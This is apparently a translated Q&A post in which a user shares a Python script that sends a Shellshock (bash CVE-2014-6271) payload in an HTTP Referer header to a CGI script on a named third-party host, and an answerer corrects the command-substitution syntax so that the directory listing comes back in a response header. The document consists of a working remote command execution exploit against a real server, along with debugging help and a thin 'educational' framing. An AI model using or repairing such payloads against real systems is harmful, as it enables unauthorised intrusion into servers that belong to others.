У меня есть следующий скрипт в python
headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)
а также
r.headers
является
{
'x-rdir': '""', 'x-vps': 'yes',
'transfer-encoding': 'chunked',
'server': 'Apache/1.3.29',
'connection': 'close',
'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
'ls_result': '()',
'content-type': 'text/html'
}
когда я передаю y = "(ls)" в заголовке. Я получаю 'ls_result': '(ls)'
в заголовке ответа. зачем $ сбрасывать с моего ввода? как можно перечислить каталог в заголовке ответа? PS: это для образовательной цели
Синтаксис для выполнения команды и назначение ее вывода переменной:
y="$(ls)"
У вас в скобках значение $
, оно должно быть снаружи.
Обратите внимание, что ваш код будет выполнять только команду оболочки, если вы не исправили уязвимость ShellShock.